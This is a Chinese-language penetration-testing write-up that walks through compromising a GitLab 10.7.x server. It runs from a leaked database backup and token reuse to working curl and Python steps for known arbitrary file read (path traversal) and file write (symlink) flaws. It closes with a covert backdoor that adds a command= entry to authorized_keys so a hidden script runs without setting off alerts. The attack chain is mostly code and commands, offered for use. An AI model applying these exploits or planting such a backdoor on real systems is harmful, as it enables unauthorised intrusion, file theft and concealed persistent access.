记一次测试gitlab
字数 1326 2025-08-25 22:59:02
GitLab 渗透测试实战教学文档
1. 目标环境侦察
1.1 端口扫描
使用nmap进行初步扫描发现开放以下端口:
- 80端口:GitLab服务
- 22端口:SSH服务
- 8000端口:存在目录遍历漏洞
1.2 信息收集
通过8000端口的目录遍历漏洞获取到:
- GitLab数据库备份文件(3年前的旧备份)
- 备份文件包含:
- 登录用户名
- 密码哈希值
- 提交日志
2. 突破点分析
2.1 密码破解思路
- 分析GitLab密码生成流程(Ruby实现)
- 尝试弱密码破解(作为备选方案)
2.2 authentication_token利用
- 在备份文件中查找
authentication_token - 参考Seebug文章(https://paper.seebug.org/104/)利用token访问API接口
- 成功通过token认证
3. GitLab版本确认
- 确定GitLab版本为10.7.X
- 查找该版本的已知漏洞:
- 任意文件读取:https://gitlab.com/gitlab-org/gitlab-foss/issues/54857
- 任意文件写入:https://gitlab.com/gitlab-org/gitlab-foss/issues/49133
4. 本地测试环境搭建
4.1 Docker环境配置
web:
image: 'gitlab/gitlab-ce:10.7.3-ce.0'
restart: always
hostname: '127.0.0.1'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://gitlab.example.com'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/steg0_initial_root_password')
unicorn['socket']='/opt/gitlab/var/unicorn/gitlab.socket'
ports:
- '80:80'
- '50443:443'
- '22:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './steg0_initial_root_password:/steg0_initial_root_password'
4.2 密码重置
gitlab-ctl reconfigure
gitlab-ctl restart
# 使用root登录后重置密码
gitlab-rails console production
user = User.where(id: 2).first
user.password = '123456aa'
user.password_confirmation = '123456aa'
user.save
5. 漏洞利用
5.1 任意文件读取漏洞
POC:
/api/v4/templates/gitignores/%2e%2e%2fPython%2ea
利用步骤:
- 创建测试项目并打包:
tar zcf vuln.tar.gz *
- 使用API操作:
# 新建项目
curl --request POST --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" --form "path=project" --form "file=@./vuln.tar.gz" http://127.0.0.1:5080/api/v3/projects/import
# 导入项目(爆绝对路径)
curl --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70/import
# 删除项目
curl --request DELETE --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70
- 构造任意文件读取payload:
PAYLOAD=$(echo public/uploads/../shared/tmp/project_exports/test1/33333/083c74ddd76bc4a1f7ef7635efddcebd/uploads/host" | sed 's|\.|%2e|g' | sed 's|\/|%2f|g')
curl http://127.0.0.1/api/v3/templates/gitignores/$PAYLOAD%2ea -v|jq
注意事项:
- 使用
tar zcf vuln.tar.gz ./*可能会失败 - uploads目录权限为555,防止GitLab删除符号链接
- project.json可以为空
- 无权限文件读取会返回500错误
- 不存在的文件显示404
- 二进制文件会显示500的message
5.2 任意文件写入漏洞
影响版本:
- 受影响:>= 8.9.0
- 修复版本:11.0.4, 10.8.6, 10.7.7
利用步骤:
- 创建包含换行符的软连接:
import os
os.symlink("/var/opt/gitlab", ".\nevil")
-
上传并导入项目后删除项目,保留软连接
-
创建第二个压缩包:
import os
os.makedirs(".\nevil")
# 在目录下创建要写入的文件
- 上传第二个压缩包实现任意文件写入
6. Getshell方案
6.1 SSH公钥写入
- 直接写入SSH公钥到
/var/opt/gitlab/.ssh/authorized_keys - 问题:
- 影响用户正常使用git更新代码
- 异地SSH登录会触发报警
6.2 隐蔽后门方案
修改authorized_keys文件,添加后门命令:
command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-133 ;bash /var/tmp/gitlab.sh >/dev/null 2>&1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa ...
注意事项:
- gitlab.sh脚本必须无输出
- 不能阻塞正常功能
- 反弹shell会阻塞正常功能
7. GitLab备份操作
创建备份文件:
sudo gitlab-rake gitlab:backup:create
8. 参考资源
- Seebug文章:https://paper.seebug.org/104/
- 任意文件读取漏洞:https://gitlab.com/gitlab-org/gitlab-foss/issues/54857
- 任意文件写入漏洞:https://gitlab.com/gitlab-org/gitlab-foss/issues/49133
- 漏洞复现:https://xz.aliyun.com/t/2661